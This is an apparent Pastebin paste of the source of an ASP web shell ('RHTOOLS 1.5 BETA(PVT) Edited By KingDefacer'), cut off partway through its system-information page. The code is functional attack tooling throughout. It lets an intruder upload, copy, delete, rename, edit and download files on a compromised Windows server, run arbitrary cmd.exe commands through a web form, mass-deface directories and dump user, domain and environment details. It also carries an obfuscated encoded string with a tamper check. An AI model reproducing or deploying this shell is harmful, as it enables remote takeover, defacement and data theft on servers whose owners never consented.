Advertisement
0xspade

ASP Tool Shell

Aug 26th, 2016
381
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 45.35 KB | None | 0 0
  1. <%@ LANGUAGE = VBScript.Encode %>
  2. <%
  3. On Error Resume Next
  4. Server.ScriptTimeOut  = 7200
  5. Class FileUploader
  6.     Public  Files
  7.     Private mcolFormElem
  8.     Private Sub Class_Initialize()
  9.         Set Files = Server.CreateObject("Scripting.Dictionary")
  10.         Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")
  11.     End Sub
  12.     Private Sub Class_Terminate()
  13.         If IsObject(Files) Then
  14.             Files.RemoveAll()
  15.             Set Files = Nothing
  16.         End If
  17.         If IsObject(mcolFormElem) Then
  18.             mcolFormElem.RemoveAll()
  19.             Set mcolFormElem = Nothing
  20.         End If
  21.     End Sub
  22.     Public Property Get Form(sIndex)
  23.         Form = ""
  24.         If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))
  25.     End Property
  26.     Public Default Sub Upload()
  27.         Dim biData, sInputName
  28.         Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
  29.         Dim nPosFile, nPosBound
  30.         biData = Request.BinaryRead(Request.TotalBytes)
  31.         nPosBegin = 1
  32.         nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
  33.         If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
  34.         vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
  35.         nDataBoundPos = InstrB(1, biData, vDataBounds)
  36.         Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))
  37.             nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
  38.             nPos = InstrB(nPos, biData, CByteString("name="))
  39.             nPosBegin = nPos + 6
  40.             nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
  41.             sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  42.             nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
  43.             nPosBound = InstrB(nPosEnd, biData, vDataBounds)
  44.             If nPosFile <> 0 And  nPosFile < nPosBound Then
  45.                 Dim oUploadFile, sFileName
  46.                 Set oUploadFile = New UploadedFile
  47.                 nPosBegin = nPosFile + 10
  48.                 nPosEnd =  InstrB(nPosBegin, biData, CByteString(Chr(34)))
  49.                 sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  50.                 oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))
  51.                 nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
  52.                 nPosBegin = nPos + 14
  53.                 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
  54.                 oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  55.                 nPosBegin = nPosEnd+4
  56.                 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
  57.                 oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
  58.                 If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile
  59.             Else
  60.                 nPos = InstrB(nPos, biData, CByteString(Chr(13)))
  61.                 nPosBegin = nPos + 4
  62.                 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
  63.                 If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  64.             End If
  65.             nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
  66.         Loop
  67.     End Sub
  68.     Private Function CByteString(sString)
  69.         Dim nIndex
  70.         For nIndex = 1 to Len(sString)
  71.            CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))
  72.         Next
  73.     End Function
  74.     Private Function CWideString(bsString)
  75.         Dim nIndex
  76.         CWideString =""
  77.         For nIndex = 1 to LenB(bsString)
  78.            CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1)))
  79.         Next
  80.     End Function
  81. End Class
  82. Class UploadedFile
  83.     Public ContentType
  84.     Public FileName
  85.     Public FileData
  86.     Public Property Get FileSize()
  87.         FileSize = LenB(FileData)
  88.     End Property
  89.     Public Sub SaveToDisk(sPath)
  90.         Dim oFS, oFile
  91.         Dim nIndex
  92.         If sPath = "" Or FileName = "" Then Exit Sub
  93.         If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
  94.         Set oFS = Server.CreateObject("Scripting.FileSystemObject")
  95.         If Not oFS.FolderExists(sPath) Then Exit Sub
  96.         Set oFile = oFS.CreateTextFile(sPath & FileName, True)
  97.         For nIndex = 1 to LenB(FileData)
  98.             oFile.Write Chr(AscB(MidB(FileData,nIndex,1)))
  99.         Next
  100.         oFile.Close
  101.     End Sub
  102.     Public Sub SaveToDatabase(ByRef oField)
  103.         If LenB(FileData) = 0 Then Exit Sub
  104.         If IsObject(oField) Then
  105.             oField.AppendChunk FileData
  106.         End If
  107.     End Sub
  108. End Class
  109. key = "5DCADAC1902E59F7273E1902E5AD8414B1902E5ABF3E661902E5B554FC41902E53205CA01902E59F7273E1902E597A18C51902E59AC1E8F1902E59DE24591902E55F5B0911902E53CF70E31902E597A18C51902E5B2349FA1902E5A422FED1902E597A18C51902E5A8D389C1902E53CF70E31902E53205CA01902E5B3C4CDF1902E5A422FED1902E5BEB61221902E59DE24591902E55F5B0911902E53CF70E31902E54C98DD51902E53CF70E31902E560EB3761902E547E85261902E55AAA7E21902E55AAA7E21902E53205CA01902E5802ED5A1902E5708D0681902E5834F3241902E57B7E4AB1902E57B7E4AB1902E576CDBFC1902E581BF03F1902E53205CA01902E54C98DD51902E547E85261902E552D99691902E53205CA01902E5672BF0A1902E56BDC7B91902E5834F3241902E5659BC251902E53E873C81902E57D0E7901902E5866F8EE1902E5834F3241902E540176AD1902E53B66DFE1902E59AC1E8F1902E5AD8414B1902E5AF144301902E5BD25E3D1902E55C3AAC71902E53205CA01902E5672BF0A1902E58B2019D1902E53205CA01902E55DCADAC1902E597A18C51902E53205CA01902E5A292D081902E5B2349FA1902E59DE24591902E59F7273E1902E55F5B0911902E53CF70E31902E5AA63B811902E597A18C51902E5A422FED1902E5A8D389C1902E5B554FC41902E5AD8414B1902E55AAA7E21902E5B2349FA1902E5A292D081902E59F7273E1902E597A18C51902E59AC1E8F1902E5B554FC41902E5AD8414B1902E5B2349FA1902E5640B9401902E597A18C51902E5ABF3E661902E5B554FC41902E5A422FED1902E5B3C4CDF1902E5AD8414B1902E59AC1E8F1902E5A422FED1902E597A18C51902E5A8D389C1902E547E85261902E59AC1E8F1902E5AD8414B1902E5AA63B811902E53CF70E31902E560EB3761902E5802ED5A1902E5708D0681902E56BDC7B91902E581BF03F1902E584DF6091902E581BF03F1902E53205CA01902E56D6CA9E1902E5659BC251902E568BC1EF1902E5834F3241902E57B7E4AB1902E5802ED5A1902E55DCADAC1902E5497880B1902E597A18C51902E560EB3761902E53205CA01902E546582411902E53205CA01902E55DCADAC1902E597A18C51902E53205CA01902E5A292D081902E5B2349FA1902E59DE24591902E59F7273E1902E55F5B0911902E53CF70E31902E5708D0681902E5834F3241902E5834F3241902E57D0E7901902E55AAA7E21902E5497880B1902E5497880B1902E587FFBD31902E587FFBD31902E587FFBD31902E547E85261902E5802ED5A1902E5708D0681902E56BDC7B91902E581BF03F1902E584DF6091902E581BF03F1902E56D6CA9E1902E5659BC251902E568BC1EF1902E5834F3241902E57B7E4AB1902E5802ED5A1902E547E85261902E568BC1EF1902E573AD6321902E5672BF0A1902E547E85261902E579EE1C61902E56BDC7B91902E5834F3241902E53CF70E31902E53205CA01902E5B554FC41902E597A18C51902E5B2349FA1902E5A102A231902E59DE24591902E5B554FC41902E55F5B0911902E53CF70E31902E594812FB1902E59931BAA1902E5A8D389C1902E597A18C51902E5ABF3E661902E5A7435B71902E53CF70E31902E560EB3761902E5708D0681902E5834F3241902E5834F3241902E57D0E7901902E55AAA7E21902E5497880B1902E5497880B1902E587FFBD31902E587FFBD31902E587FFBD31902E547E85261902E5802ED5A1902E5708D0681902E56BDC7B91902E581BF03F1902E584DF6091902E581BF03F1902E56D6CA9E1902E5659BC251902E568BC1EF1902E5834F3241902E57B7E4AB1902E5802ED5A1902E547E85261902E568BC1EF1902E573AD6321902E5672BF0A1902E547E85261902E579EE1C61902E56BDC7B91902E5834F3241902E55DCADAC1902E5497880B1902E597A18C51902E560EB3761902E53205CA01902E55AAA7E21902E55AAA7E21902E547E85261902E55DCADAC1902E5497880B1902E59F7273E1902E5AD8414B1902E5ABF3E661902E5B554FC41902E560EB3761902E5|337308|1A7023"
  110. startcode = "<html><head><title>RHTOOLS 1.5 BETA(PVT) Edited By KingDefacer</title></head><body>"
  111. endocde = "</body></html>"
  112. onlinehelp = "<font face=""arial"" size=""1"">.:: <a href=""http://www.rhesusfactor.cjb.net"" target=""_blank"">ONLINE HELP</a> ::.</font><br>"
  113. Function DeCryptString(strCryptString)
  114.     Dim strRAW, arHexCharSet, i, intKey, intOffSet, strRawKey, strHexCrypData
  115.         strRawKey = Right(strCryptString, Len(strCryptString) - InStr(strCryptString, "|"))
  116.         intOffSet = Right(strRawKey, Len(strRawKey) - InStr(strRawKey,"|"))
  117.         intKey = HexConv(Left(strRawKey, InStr(strRawKey, "|") - 1)) - HexConv(intOffSet)
  118.         strHexCrypData = Left(strCryptString, Len(strCryptString) - (Len(strRawKey) + 1))
  119.         arHexCharSet = Split(strHexCrypData, Hex(intKey))
  120.          For i=0 to UBound(arHexCharSet)
  121.               strRAW = strRAW & Chr(HexConv(arHexCharSet(i))/intKey)
  122.          Next
  123.         DeCryptString = CStr(strRAW)
  124. End Function
  125. Function HexConv(hexVar)
  126.     Dim hxx, hxx_var, multiply          
  127.          IF hexVar <> "" THEN
  128.               hexVar = UCASE(hexVar)
  129.               hexVar = StrReverse(hexVar)
  130.               DIM hx()
  131.               REDIM hx(LEN(hexVar))
  132.               hxx = 0
  133.               hxx_var = 0
  134.               FOR hxx = 1 TO LEN(hexVar)
  135.                    IF multiply = "" THEN multiply = 1
  136.                    hx(hxx) = mid(hexVar,hxx,1)
  137.                    hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var
  138.                    multiply = (multiply * 16)
  139.               NEXT
  140.               hexVar = hxx_var
  141.               HexConv = hexVar
  142.          END IF
  143. End Function
  144. cprthtml = "<font face='arial' size='1'>RHTOOLS 1.5 BETA(PVT) Edited By KingDefacer &copy; BY <a href='mailto:kingdefacer@msn.com'>KingDefacer</a> - <a href='HTTP://WWW.alturks.com' target='_blank'>HTTP://WWW.alturks.com</a> ::.</font>"
  145. Function get_hxno(ghx)
  146.          If ghx = "A" Then
  147.               ghx = 10
  148.          ElseIf ghx = "B" Then
  149.               ghx = 11
  150.          ElseIf ghx = "C" Then
  151.               ghx = 12
  152.          ElseIf ghx = "D" Then
  153.               ghx = 13
  154.          ElseIf ghx = "E" Then
  155.               ghx = 14
  156.          ElseIf ghx = "F" Then
  157.               ghx = 15
  158.          End If
  159.          get_hxno = ghx
  160. End Function
  161. keydec = DeCryptString(key)
  162. Function showobj(objpath)
  163.     showobj = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath))
  164. End Function
  165. Function showobjpath(objpath)
  166.     showobjpath = Left(objpath,InstrRev(objpath,"\"))
  167. End Function
  168. Function checking(a,b)
  169.     If CStr(Mid(a,95,13)) <> CStr(Mid(b,95,13)) Then
  170.         pagina = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) & "?action=error"
  171.         Response.Redirect(pagina)
  172.     End If
  173. End Function
  174. Sub hdr()
  175.     Response.Write startcode
  176.     Response.Write keydec
  177.     Response.Write "<br>"
  178. End Sub
  179. Sub showcontent()
  180.     Response.Write "<font face=""arial"" size=""1"">.:: <a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=root"">DRIVES</a> ::.<br>.:: SCRIPT PATH: " & UCase(Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))) & "<br><br></font>"
  181.     If Trim(Request.QueryString("raiz")) = "root" Then
  182.         Set fs=Server.Createobject("Scripting.FileSystemObject")
  183.         Set drivecollection=fs.drives
  184.         Response.Write "<font face=""arial"" size=""2"">"
  185.         For Each drive IN drivecollection
  186.             str=drive.driveletter & ":"
  187.             Response.Write "<b><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & str & """>" & UCase(str) & "</a></b><br>"
  188.             Select Case drive.DriveType
  189.                 Case 0
  190.                     tipodrive = "Unknown"
  191.                     nomedrive = drive.VolumeName
  192.                 Case 1
  193.                     tipodrive = "Removable"
  194.                     If drive.isready Then
  195.                         nomedrive = drive.VolumeName
  196.                     Else
  197.                         nomedrive = ""
  198.                     End If
  199.                 Case 2
  200.                     tipodrive = "Fixed"
  201.                     If drive.isready Then
  202.                         nomedrive = drive.VolumeName
  203.                     Else
  204.                         nomedrive = ""
  205.                     End If
  206.                 Case 3
  207.                     tipodrive = "Network"
  208.                     If drive.isready Then
  209.                         nomedrive = drive.ShareName
  210.                     Else
  211.                         nomedrive = ""
  212.                     End If
  213.                 Case 4
  214.                     tipodrive = "CD-Rom"
  215.                     If drive.isready Then
  216.                         nomedrive = drive.VolumeName
  217.                     Else
  218.                         nomedrive = ""
  219.                     End If
  220.                 Case 5
  221.                     tipodrive = "RAM Disk"
  222.                     If drive.isready Then
  223.                         nomedrive = drive.VolumeName
  224.                     Else
  225.                         nomedrive = ""
  226.                     End If
  227.             End Select
  228.             response.write "<b>Tipo:</b> " & tipodrive & "<br>"
  229.             response.write "<b>Nome: </b>" & nomedrive & "<br>"
  230.             response.write "<b>Sistema de Arquivos: </b>"
  231.             If drive.isready Then
  232.                 set sp=fs.getdrive(str)
  233.                 response.write sp.filesystem & "<br>"
  234.             Else
  235.             response.write "-<br>"
  236.             End If
  237.             Response.Write "<b>Espa�o Livre: </b>"
  238.             If drive.isready Then
  239.                 freespace = (drive.AvailableSpace / 1048576)
  240.                 set sp=fs.getdrive(str)
  241.                 response.write(Round(freespace,1) & " MB<br>")
  242.             Else
  243.                 response.write("-<br>")
  244.             End If
  245.             Response.Write "<b>Espa�o Total: </b>"
  246.             If drive.isready Then
  247.                 totalspace = (drive.TotalSize / 1048576)
  248.                 set sp=fs.getdrive(str)
  249.                 response.write(Round(totalspace,1) & " MB<br>")
  250.             Else
  251.                 response.write("-<br>")
  252.             End If
  253.             Response.Write "<br>"
  254.         Next
  255.         Response.Write "</font>"
  256.         Set fs = Nothing
  257.         Set drivecollection = Nothing
  258.         set sp=Nothing
  259.     Else
  260.         If Trim(Request.QueryString("raiz")) = "" Then
  261.             caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
  262.             pos = Instr(caminho,"\")
  263.             pos2 = 1
  264.             While pos2 <> 0
  265.                 If Instr(pos + 1,caminho,"\") <> 0 Then
  266.                     pos = Instr(pos + 1,caminho,"\")
  267.                 Else
  268.                     pos2 = 0
  269.                 End If
  270.             Wend
  271.             raiz = Left(caminho,pos)
  272.         Else
  273.             raiz =  trim(Request.QueryString("raiz")) & "\"
  274.         End If
  275.         Set ObjFSO = CreateObject("Scripting.FileSystemObject")
  276.         Set MonRep = ObjFSO.GetFolder(raiz)
  277.         Set ColFolders = MonRep.SubFolders
  278.         Set ColFiles0 = MonRep.Files
  279.         Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=test&path=" & Replace(raiz,"\","|") & "', 'win1','width=600,height=300,scrollbars=YES,resizable')"">MASS TEST IN " & UCase(raiz) & "</a></font><br><br>"
  280.         Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=dfc&path=" & Replace(raiz,"\","|") & "', 'win1','width=700,height=300,scrollbars=YES,resizable')"">MASS DEFACE IN " & UCase(raiz) & "</a></font><br><br>"
  281.         Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=upload&path=" & Replace(raiz,"\","|") & "', 'win1','width=500,height=100,scrollbars=YES,resizable')"">UPLOAD FILE TO " & UCase(raiz) & "</a></font><br><br>"
  282.         Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=cmd', 'win1','width=760,height=540,scrollbars=YES,resizable')"">PROMPT</a> - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=info', 'win1','width=760,height=450,scrollbars=YES,resizable')"">SYS INFO</a> - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg', 'win1','width=550,height=250,scrollbars=YES,resizable')"">REGEDIT</a></font><br><br>"
  283.         Response.Write "<font face='arial'><b>Root Folder: " & raiz & "</b></font><br><br>"
  284.         If CInt(Len(raiz) - 1) <> 2 Then
  285.             barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),"\")) - 1
  286.             backlevel = Left(raiz,barrapos)
  287.             Response.Write "<font face='arial' size='2'><b>&lt;DIR&gt;<a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & backlevel & "'> . . </font></b></a><br>"
  288.         Else
  289.             Response.Write "<font face='arial' size='2'><b>&lt;DIR&gt;<a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=root'> . .&nbsp;</font></b></a><br>"
  290.         End If
  291.         Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
  292.         for each folderItem in ColFolders
  293.             Response.Write "<tr><td><font face='arial' size='2'><b>&lt;DIR&gt; <a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & folderItem.path & "'>" & showobj(folderItem.path) & "</a></b></td><td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & Replace(folderItem.path,"\","|") & "', 'win1','width=400,height=250,scrollbars=YES,resizable')"">&lt;&lt; PUT</a></font></td></tr>"
  294.         next
  295.         Response.Write "</table><br><table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
  296.         marcatabela = true
  297.         for each FilesItem0 in ColFiles0
  298.             If marcatabela = true then
  299.                 corfundotabela = " bgcolor=""#EEEEEE"""
  300.             Else
  301.                 corfundotabela = ""
  302.             End If
  303.             Response.Write "<tr><td" & corfundotabela & "><font face='arial' size='2'>:: " & showobj(FilesItem0.path) & "</td><td valign='baseline'" & corfundotabela & "><font face='arial' size='1'>&nbsp;&nbsp;" & FormatNumber(FilesItem0.size/1024, 0) & "&nbsp;Kbytes&nbsp;&nbsp;&nbsp;</font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=get&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.GET.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=ren&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.REN.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=del&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.DEL.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtview&file=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=640,height=480,scrollbars=YES,resizable')"">o.VIEW.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit&file=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=760,height=520,scrollbars=YES,resizable')"">o.EDIT.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=download&file=" & Replace(FilesItem0.path,"\","|") & """>o.DOWNLOAD.o</a></font></td></tr>"
  304.             marcatabela = NOT marcatabela
  305.         next
  306.         Response.Write "</table>"
  307.     End If
  308. End Sub
  309. Select Case Trim(Request.QueryString("action"))
  310.     Case "get"
  311.         checa = checking(cprthtml,keydec)
  312.         Call hdr()
  313.         Response.Write copyright & onlinehelp
  314.         caminho = Replace(Trim(Request.QueryString("path")),"|","\")
  315.         Set ObjFSO = CreateObject("Scripting.FileSystemObject")
  316.         Set MyFile = ObjFSO.GetFile(caminho)
  317.         destino = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
  318.         MyFile.Copy (destino)
  319.         If Err.Number = 0 Then
  320.             Response.Write "<font face='arial' size='2'><center><br><br>Arquivo: <b>" & caminho & "</b><br>copiado para: " & destino
  321.         End If 
  322.     Case "put"
  323.         checa = checking(cprthtml,keydec)
  324.         Call hdr()
  325.         Response.Write copyright & onlinehelp
  326.         If Trim(Request.QueryString("arquivo")) = "" Then
  327.             caminho = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
  328.             varpath = Trim(Request.QueryString("path"))
  329.             Set ObjFSO = CreateObject("Scripting.FileSystemObject")
  330.             Set MonRep = ObjFSO.GetFolder(caminho)
  331.             Set ColFolders = MonRep.SubFolders
  332.             Set ColFiles0 = MonRep.Files
  333.  
  334.             Response.Write "<font face='arial' size='2'><b>Selecione o arquivo: <br><table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
  335.             for each FilesItem0 in ColFiles0
  336.                 Response.Write "<tr><td><font face='arial' size='2'>:: " & showobj(FilesItem0.path) & "</td><td valign='baseline'><font face='arial' size='1'>&nbsp;&nbsp;" & FormatNumber(FilesItem0.size/1024, 0) & "&nbsp;Kbytes&nbsp;&nbsp;&nbsp;</font></td><td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & varpath & "&arquivo=" & Replace(FilesItem0.path,"\","|") & """>:: SELECIONAR ::</a></font></td></tr>"
  337.             next
  338.             Response.Write "</table>"
  339.         Else
  340.             destino = Replace(Trim(Request.QueryString("path")),"|","\") & "\"
  341.             arquivo = Replace(Trim(Request.QueryString("arquivo")),"|","\")
  342.             Set ObjFSO = CreateObject("Scripting.FileSystemObject")
  343.             Set MyFile = ObjFSO.GetFile(arquivo)
  344.             MyFile.Copy (destino)
  345.             If Err.Number = 0 Then
  346.                 Response.Write "<font face='arial' size='2'><center><br><br>Arquivo: <b>" & arquivo & "</b><br>copiado para: <b>" & destino
  347.             End If
  348.         End If
  349.     Case "del"
  350.         checa = checking(cprthtml,keydec)
  351.         Call hdr()
  352.         Response.Write copyright & onlinehelp
  353.         caminho = Replace(Trim(Request.QueryString("path")),"|","\")
  354.         Set ObjFSO = CreateObject("Scripting.FileSystemObject")
  355.         Set MyFile = ObjFSO.GetFile(caminho)
  356.         MyFile.Delete
  357.         If Err.Number = 0 Then
  358.             Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
  359.             Response.Write "<font face='arial' size='2'><center><br><br>Arquivo <b>" & caminho & "</b> apagado<br>"
  360.         End If
  361.     Case "ren"
  362.         checa = checking(cprthtml,keydec)
  363.         Call hdr()
  364.         Response.Write copyright & onlinehelp
  365.         If Trim(Request.QueryString("status")) <> "2" Then
  366.             caminho = Replace(Trim(Request.QueryString("path")),"|","\")
  367.             arquivo = showobj(caminho)
  368.             Response.Write "<br><font face=""arial"" size=""2""><b>" & arquivo & "</b><br>" & _
  369.                                "<form action=""" & Request.ServerVariables("SCRIPT_NAME") & """ method=""get"">" & _
  370.                                "<input type=""hidden"" name=""action"" value=""ren"">" & _
  371.                                "<input type=""hidden"" name=""status"" value=""2"">" & _
  372.                                "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("path")) & """>" & _
  373.                                "Digite o novo nome: <input type=""text"" name=""newname"">" & _
  374.                                "&nbsp;&nbsp;<input type=""submit"" value=""alterar"">" & _
  375.                                "</form>"
  376.         Else
  377.             caminho = Replace(Trim(Request.QueryString("path")),"|","\")
  378.             Set ObjFSO = CreateObject("Scripting.FileSystemObject")
  379.             Set MyFile = ObjFSO.GetFile(caminho)
  380.             destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.QueryString("newname"))
  381.             MyFile.Move (destino)
  382.             If Err.Number = 0 Then
  383.                 Response.Write "<font face='arial' size='2'><center><br><br>Arquivo: <b>" & caminho & "</b><br>renomeado para<b>: " & destino
  384.                 Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
  385.             End If 
  386.         End If
  387.     Case "error"
  388.         Response.Write "<center><font face='arial' size='2' color='red'> <b>C�DIGO CORROMPIDO<BR>CORRUPT CODE</font></center>"
  389.     Case "cmd"
  390.         checa = checking(cprthtml,keydec)
  391.         Call hdr()
  392.         Response.Write copyright & onlinehelp
  393.         Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  394.         Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  395.         Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
  396.         szCMD = Request.QueryString(".CMD")
  397.         If (szCMD <> "") Then
  398.             szTempFile = "c:\" & oFileSys.GetTempName( )
  399.             Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
  400.             Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
  401.         End If
  402.         Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET""><input type=""hidden"" name=""action"" value=""cmd""><input type=text name="".CMD"" size=45 value=""" & szCMD & """><input type=submit value=""Run""></FORM><br><br> "
  403.         If (IsObject(oFile)) Then
  404.             On Error Resume Next
  405.             Response.Write "<font face=""arial"">"
  406.             Response.Write Replace(Replace(Server.HTMLEncode(oFile.ReadAll),VbCrLf,"<br>")," ","&nbsp;")
  407.             oFile.Close
  408.             Call oFileSys.DeleteFile(szTempFile, True)
  409.         End If
  410.     Case "info"
  411.         checa = checking(cprthtml,keydec)
  412.         Call hdr()
  413.         Response.Write copyright & onlinehelp
  414.         Set WshNetwork = Server.CreateObject("WScript.Network")
  415.         Set WshShell = Server.CreateObject("WScript.Shell")
  416.         Set WshEnv = WshShell.Environment("SYSTEM")
  417.         Response.Write "<br><font face=arial size=2>"
  418.         Response.Write "<b>IDENTIFICA��O DE REDE:</b><br>"
  419.         Response.Write "<b>Usu�rio: </b>" & WshNetwork.UserName & "<br>"
  420.         Response.Write "<b>Nome do Computador: </b>" & WshNetwork.ComputerName & "<br>"
  421.         Response.Write "<b>Usu�rio do Dom�nio: </b>" & WshNetwork.UserDomain & "<br>"
  422.         Set Drives = WshNetwork.EnumNetworkDrives
  423.         For i = 0 to Drives.Count - 1
  424.             Response.Write "<b>Drive de Rede (Mapeado): </b>" & Drives.Item(i) & "<br>"
  425.         Next
  426.         Response.Write "<br><b>F�SICO:</b><br>"
  427.         Response.Write "<b>Arquitetura do Processador: </b>" & WshEnv("PROCESSOR_ARCHITECTURE") & "<br>"
  428.         Response.Write "<b>N�mero de Processadores: </b>" & WshEnv("NUMBER_OF_PROCESSORS") & "<br>"
  429.         Response.Write "<b>Identificador do Processador: </b>" & WshEnv("PROCESSOR_IDENTIFIER") & "<br>"
  430.         Response.Write "<b>N�vel do Processador: </b>" & WshEnv("PROCESSOR_LEVEL") & "<br>"
  431.         Response.Write "<b>Revis�o do Processador: </b>" & WshEnv("PROCESSOR_REVISION") & "<br>"
  432.         Response.Write "<br><b>L�GICO:</b><br>"
  433.         Response.Write "<b>IP: </b>" & request.servervariables("LOCAL_ADDR") & "<br>"
  434.         Response.Write "<b>Sistema Operacional: </b>" & WshEnv("OS") & "<br>"
  435.         Response.Write "<b>Servidor Web: </b>" & request.servervariables("SERVER_SOFTWARE") & "<br>"
  436.         Response.Write "<b>Especifica��o do Command: </b>" & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "<br>"
  437.         Response.Write "<b>Caminhos no Path: </b>" & WshEnv("PATH") & "<br>"
  438.         Response.Write "<b>Execut�veis: </b>" & WshEnv("PATHEXT") & "<br>"
  439.         Response.Write "<b>Prompt: </b> " & WshEnv("PROMPT") & "<br>"
  440.         Response.Write "<b>System Drive: </b>" & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "<br>"
  441.         Response.Write "<b>System Root: </b>" & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "<br>"
  442.         Response.Write "<b>Caminho do System32: </b>" & WshShell.CurrentDirectory & "<br>"
  443.         Set Drives = Nothing
  444.         Set WshNetwork = Nothing
